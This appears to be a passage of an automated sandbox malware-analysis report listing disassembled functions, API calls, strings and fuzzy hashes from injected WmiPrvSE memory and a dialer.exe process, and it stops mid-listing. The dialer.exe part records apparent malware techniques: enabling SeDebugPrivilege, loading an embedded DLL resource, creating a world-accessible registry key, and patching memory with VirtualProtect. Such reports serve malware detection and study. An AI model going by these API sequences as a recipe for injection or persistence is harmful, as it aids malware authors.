Instruction Fuzzy Hash: 2902B832219F9486EBA1CF55E49475EB7B1F3C4794F104026EA8E87BA8DB7CE594CB00

Function 000002C5CCF75710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002C5CCF75726

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 88d3ddda1520454c0367b72f057e4243f1a1aa5cb60848190fe7621f181ccacc
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: FB619736519F94C6FA618F15E448B1EB7B0F388794F104126EA8D87BB8DB7CE694CB40

Function 000002C5CCF53504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002C5CCF5352C
_set_statfp.LIBCMT ref: 000002C5CCF53547
_set_statfp.LIBCMT ref: 000002C5CCF53563
_set_statfp.LIBCMT ref: 000002C5CCF5359F

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 708751c06d6b1f18cfc6a4f370d90721a7b22ab36ea1101da63cd1e4c55900dd
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: F611A322A50F3B11FA641F2CE4CDB7D11C16B58374F59962AAB66066FECAE4FBCD4100

Function 000002C5CCF84104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002C5CCF8412C
_set_statfp.LIBCMT ref: 000002C5CCF84147
_set_statfp.LIBCMT ref: 000002C5CCF84163
_set_statfp.LIBCMT ref: 000002C5CCF8419F

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 2c806ae017ec0039f0dc922bde17caf77aeaff030f48e3b5e742184b799b6069
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: D711C832A50F7011F666DF58D47DB6D1B406B6B3B4F4A0626A5F606EF68B24F6C06100

Function 000002C5CCF4F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002C5CCF4F124

Strings

Wednesday, xrefs: 000002C5CCF4F1ED
Tuesday, xrefs: 000002C5CCF4F0F4
or copy constructor iterator', xrefs: 000002C5CCF4F25A, 000002C5CCF4F275

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: d0fd9a01260543a53b918d040f0e92c3d7b38b1176da7bd1ba08e9da58dc30b9
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 53619276600F6083FA6ACF69E54CF2E6AA0E785780F515497DA0E177B5DA34FBC28200

Function 000002C5CCF7AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002C5CCF7AA68
_CallSETranslator.LIBVCRUNTIME ref: 000002C5CCF7AAB7

Strings

MOC, xrefs: 000002C5CCF7AA7C
RCC, xrefs: 000002C5CCF7AA85

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: cf1fbfbb729011a61d28b461c2e63141bcd260bae335d9d5b657841968aa7c62
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: E6613532600F948AFB249F69E484B9D77B0F348B88F155216EF4957BA8DB38E6D5C700

Function 000002C5CCF4A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002C5CCF4A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002C5CCF4A288

Strings

csm, xrefs: 000002C5CCF4A2DA
csm, xrefs: 000002C5CCF4A1C2

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 10d66be3ee068225c0ae177264fee438c938be1ddeb4f391b9288c20711e5074
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: B1517F32100FA0CAFB64CF659448B6C77A1F355B88F184197DA9997BA5DB39F6D0CB00

Function 000002C5CCF7AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002C5CCF7ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002C5CCF7AE88

Strings

csm, xrefs: 000002C5CCF7ADC2
csm, xrefs: 000002C5CCF7AEDA

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 5da5eca3b85b8f6c10de45b494530460429d3c1b7890e40b82c90bbf9e498136
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 42518E72100FA08AFB648F269588B9D77B0F355B85F156117EA9987BE5CB38F6E0C700

Function 000002C5CCF48405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002C5CCF48413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002C5CCF484A8

Strings

csm, xrefs: 000002C5CCF4848E
f, xrefs: 000002C5CCF48426

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 0f92499df1eb31ddadef71cf334219f47f28f9a8dcc0b548dd53da37c008a192
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: EF51AA32701F288AFB15DF15E448F5D37A5F354BA8F5081A6DA16837A8EB34FAC18704

Function 000002C5CCF483E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002C5CCF48413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002C5CCF484A8

Strings

csm, xrefs: 000002C5CCF4848E
f, xrefs: 000002C5CCF48426

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 26fcc034926060cf37efdec15f4e3b4d449bfdc38e30cb8aa4d09abbfd3e60e0
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: D6319A72201F6496F715DF12E888F5D7BA4F340B98F158056EE5A877A8DB38FA80C704

Function 000002C5CCF82058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002C5CCF820D7
WriteFile.KERNEL32 ref: 000002C5CCF8239F
WriteFile.KERNEL32 ref: 000002C5CCF823E5
GetLastError.KERNEL32 ref: 000002C5CCF8249B

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 95a3a77a9f4b4609e3ded344451771d385e07917875dd26fe20b3e40ca1e8244
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 5ED1F072B14F9089F711CFA9D448B9C3BB1F355798F104216CE5A97BAADA34F686C340

Function 000002C5CCF714A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002C5CCF714C5
HeapFree.KERNEL32 ref: 000002C5CCF714D4
GetProcessHeap.KERNEL32 ref: 000002C5CCF714E1
HeapFree.KERNEL32 ref: 000002C5CCF714F0
GetProcessHeap.KERNEL32 ref: 000002C5CCF71500

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction ID: 2101144ad6074918f4d1737b56a1c26bca8b6d3e13933bc281b9248f68d74d11
Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction Fuzzy Hash: 8E117936600FA0C6E714DF62A80854E77A0F78AF81F0A4026EB4A43726DE38E2D48740

Function 000002C5CCF82980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000002C5CCF82A9C
GetLastError.KERNEL32 ref: 000002C5CCF82B27

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: abe1c4211fe60cac78172f913c84a017aa97a08f7f5ca8792086b46f6588da01
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 2891C372710F7085F764DF659488BAD2BA0F746B98F14510BDE0A676A6DB34F6C2C700

Function 000002C5CCF7253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002C5CCF72620
StrCpyW.SHLWAPI ref: 000002C5CCF72639

Strings

\\.\pipe\, xrefs: 000002C5CCF7262B

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: f781b73df33fb40c966952420794725ffddb39f29e733b6ab4e20cf550f517fc
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 7D71B136200FA186FB25DF259948BAE67B4F389B84F440127DD0957BA9DE39F7C68700

Function 000002C5CCF49E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002C5CCF49EB7

Strings

MOC, xrefs: 000002C5CCF49E7C
RCC, xrefs: 000002C5CCF49E85

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 758d25b197946d59776170b4b0f61600c97064d3225e969e0355700885c73df9
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 37616833600F948AFB20DF65D484B9D77A4F348B98F044256EF4917BA9DB38E295C704

Function 000002C5CCF72330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002C5CCF72416
StrCpyW.SHLWAPI ref: 000002C5CCF7242D

Strings

\\.\pipe\, xrefs: 000002C5CCF72421

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 58577b83be53b04627d2b38e68abdecd66133219ccc010fd3584a6d5faaeb8a6
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 1B51B062204FA1C1F6649F29A45CBAE6671F385780F450127DE5913BAADE39F7C48740

Function 000002C5CCF826F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002C5CCF82807
GetLastError.KERNEL32 ref: 000002C5CCF82829

Strings

U, xrefs: 000002C5CCF827B3

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: f4439310b4ca8af06bb2f7fc702f8c2548a176c7a0d1636427e8bc9cae99dc14
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 6D41A072315F9082EB20CF25E8487AE67A0F799794F904022EE4D877A4EB3CF681C740

Function 000002C5CCF794A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002C5CCF794F0
RaiseException.KERNEL32 ref: 000002C5CCF79531

Strings

csm, xrefs: 000002C5CCF7951E

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: e993f158d7deabf053c14ec41c5cb6d9bd9555aeb22c5fa3b516d5ab1b3e6a42
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 7311E936214F9082EB618F25E44865D77E5F788B94F584225EB8D07769DF38E691CB00

Function 000002C5CCF47356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002C5CCF4737C

Strings

riptor at (, xrefs: 000002C5CCF47364
ierarchy Descriptor', xrefs: 000002C5CCF47381

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: ab0660ffc5191ce62248556f231cc8c8a5cd021703e26b20b9c140e0859bb124
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 3CE086A1640F4890EF028F61E8946DC33A0DB58B64B4891239A5C46321FA3CF2E9C300

Function 000002C5CCF473B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002C5CCF473D8

Strings

riptor at (, xrefs: 000002C5CCF473C0
Locator', xrefs: 000002C5CCF473DD

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: b0dccb19e9a2a1a2b0bafda9b8c7c201e0267bc97d719ce2aa31237807cbe04a
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 84E086A1600F4880EF028F61D49059C7360E758B54B889123CA4C46321EA3CF2E5C300

Function 000002C5CCF71BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002C5CCF71C2D
HeapAlloc.KERNEL32 ref: 000002C5CCF71C3B
GetProcessHeap.KERNEL32 ref: 000002C5CCF71C77
HeapFree.KERNEL32 ref: 000002C5CCF71C85

Part of subcall function 000002C5CCF7152C: StrCmpIW.SHLWAPI ref: 000002C5CCF7155D

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: d27ee2491ec31289d53bf247a13e0c8bd391acf0bdda7f32d9476fb2bc624cac
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: F2118C25601F6481FA44DFA6A808A6D73A1FB89FD0F19802ADE4D97776DF38F586C340

Function 000002C5CCF71268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002C5CCF7126E
HeapAlloc.KERNEL32 ref: 000002C5CCF7127D
GetProcessHeap.KERNEL32 ref: 000002C5CCF71297
HeapAlloc.KERNEL32 ref: 000002C5CCF712A8

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: bb9afce46477adc033a494bfbd3706c0452ca9c9d00f0b1f8fedefcc46066e78
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: A4E03935601F1486FB04CF62D80874E36E1EB8AF06F06802489090B362EF7DE5D9C750

Analysis Process: dialer.exePID: 7824, Parent PID: 7272COMMON

Execution Graph

Execution Coverage:	47.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	38.1%
Total number of Nodes:	226
Total number of Limit Nodes:	23

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpiA.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: CloseHandle.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNELBASE ref: 0000000140002511

Strings

pid, xrefs: 000000014000241B
kernel32.dll, xrefs: 0000000140002283
SeDebugPrivilege, xrefs: 00000001400022C9
ntdll.dll, xrefs: 0000000140002277
svc64, xrefs: 0000000140002452
SOFTWARE\dialerconfig, xrefs: 0000000140002399
DLL, xrefs: 0000000140002321
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 4177739653-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
